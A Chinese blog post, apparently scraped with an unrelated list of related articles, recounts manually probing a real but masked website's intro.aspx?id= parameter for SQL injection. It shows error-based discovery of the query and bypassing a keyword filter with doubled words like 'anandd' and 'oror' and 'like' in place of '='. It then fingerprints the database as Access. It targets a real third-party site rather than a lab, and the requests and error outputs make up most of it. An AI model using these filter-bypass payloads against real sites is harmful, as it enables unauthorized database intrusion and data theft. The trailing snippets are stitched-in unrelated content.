过滤'and','or' ''' '*' '=' ‘select’下的注入
遇到一个站:http://www.马赛克.net/intro.aspx?id=6
加了单引号 http://www.马赛克.net/intro.aspx?id=6‘ 页面无变化
加了双引号 http://www.马赛克.net/intro.aspx?id=6" 报错
符串的语法错误 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6" ) order by id_sort' 中。
可以看到 注入点 在()中
测试 and 1=1 and 1=2 or 1=1 报错
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 11 )' 中
可以看到 and or = 等关键字 被”吃掉了“
经测试 并没有进行循环查找过滤 and or 等字符
绕后方法 anandd oror And(大小写)
http://www.马赛克.net/intro.aspx?id=6 anandd 1=1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1=2 返回也正常
因为知道 = 也被“吃掉”了 所以用 'like' 代替
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2 返回也正常
--------------------
http://www.马赛克.net/intro.aspx?id=6 anandd exists(select id from sysobjects) 报错 select 也被“吃掉”了
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 and exists( id from sysobjects) )' 中。
紧接着,我在在数据库版本上花了很多时间 第一直觉认为是 aspx + mssql 组合
然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜 得出结论是 access数据库
--------------------
知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力 并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据
由于表的组合比较变态 tab_intro_info 也就没有继续猜下去
过滤'and','or' ''' '*' '=' ‘select’下的注入的更多相关文章
- Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...
- 简述Object(ActiveX)控件遮挡Dialog、select下拉框的解决办法
1.背景 最近在做项目的过程中,我们使用了Object控件,但是同时在上面写了一个select下拉框,因此每次点击下拉框的时候我们会发现,下拉框的部分内容被Object控件给遮挡了,调查研究后发现,我 ...
- 实现select下拉框的无限加载(懒加载)
在实际开发中我们有时无法避免select下拉功能数据过大导致页面卡顿(如在我在一次迭代中有一个select项接口返回了5000多条数据).用户体验差!结合实际开发给出了3个解决方案: 方案1.sele ...
- s:select下拉框validation验证
S:select下拉框验证: <td colspan="5"> <s:select name="vo.typeVO.corp" list=&q ...
- 自定义样式的select下拉框深入探索
第一个版本: 首先实现自定义select下拉框应该具有的功能,我是选择将原来的select隐藏掉,自己在jquery代码中动态写进去<dl><dd><dt>这样的结 ...
- jquery取消选择select下拉框
有三个select下拉框一个大类,两个小类隐藏,需要在选择大类的时候,小类显示同时清除另外的小类选择的项这需求有点儿.......... 下面是三个select: <select name=&q ...
- css解决select下拉表单option高度的办法
css在给select下拉表单设置样式如边框时可以轻松搞定,而我们在不喜欢其默认的下拉箭头的样式时试图通过background:url(图片路径)来修改之,则往往会出现浏览器的兼容性问题,在网上查了好 ...
- jQuery插件:模拟select下拉菜单
没搞那么复杂,工作中,基本够用.. <!doctype html> <html> <head> <meta charset="utf-8" ...
- html select 下拉箭头隐藏
html select 下拉箭头隐藏 <!DOCTYPE html> <html> <head lang="en"> <meta char ...
随机推荐
- 【LeetCode 5】 最长回文子串
题目链接 描述 [题解] 一个讲得比较好的博客地址; 感觉manacher算法的大概思路就是利用回文串左右对称的性质. 利用之前算出来的以某个点为中心的回文串.而当前要枚举的串被包括在其中. 则可以用 ...
- 树的性质——cf1244D
特别简单,只有链的形式才符合要求,那么枚举前两个点的颜色搞一下就可以 #include <bits/stdc++.h> using namespace std; ][],pos[],ok= ...
- spring AOP (使用AspectJ的注解方式 的aop实现) (6)
目录 一.在 Spring 中启用 AspectJ 注解支持 二.AspectJ 支持 5 种类型的通知注解: 2.1.使用之前的 计算器接口和实现类 ArithmeticCalculator.jav ...
- yield和生成器, 通过斐波那契数列学习(2.5)
实现斐波那契数列的集中方法 返回一个数 def fib(max): n, a, b = 0, 0, 1 while n < max: print(b) a, b = b, a+b n += 1 ...
- Cell的复用机制问题总结
创建方式汇总,注册和不注册Cell注册的两种方式 1.tableView registerNib:(nullable UINib *) forCellReuseIdentifier:(nonnull ...
- Java 反射获取私有方法
通常我们创建一个类时,它的私有方法在类外是不可见的,但是可以通过反射机制来获取调用.具体的反射机制的介绍大家自己百度. 所以反射可能会破坏我们的单例模式,当然解决方案也是有的,就是做个标记记录次数,第 ...
- vue富文本vue-quill-editor
这个富文本需要装一下插件 "quill": "^1.3.6" "quill-image-drop-module": "^1.0.3 ...
- Day 21 python :面向对象 类的相关内置函数 /单例模式 /描述符
1.isinstance(obj,cls) 检查obj是否是类cls的对象: 备注:用isinstance 的时候,产生实例后,会显示实例既是父类的实例,也是子类的实例 class Mom: gend ...
- 最小生成树--Prim及Kruskal
//prim算法#include<cstdio> #include<cmath> #include<cstring> #include<iostream> ...
- 高程(三)--- Date
Date类型使用UTC(国际协调时间)1970年1月1日0时0分始到现在的毫秒数来保存日期的. 所以当我们知道毫秒数时,还需要通过计算才能获取年月日时分秒. 一.获取时间对象 Date提供了2个方法: ...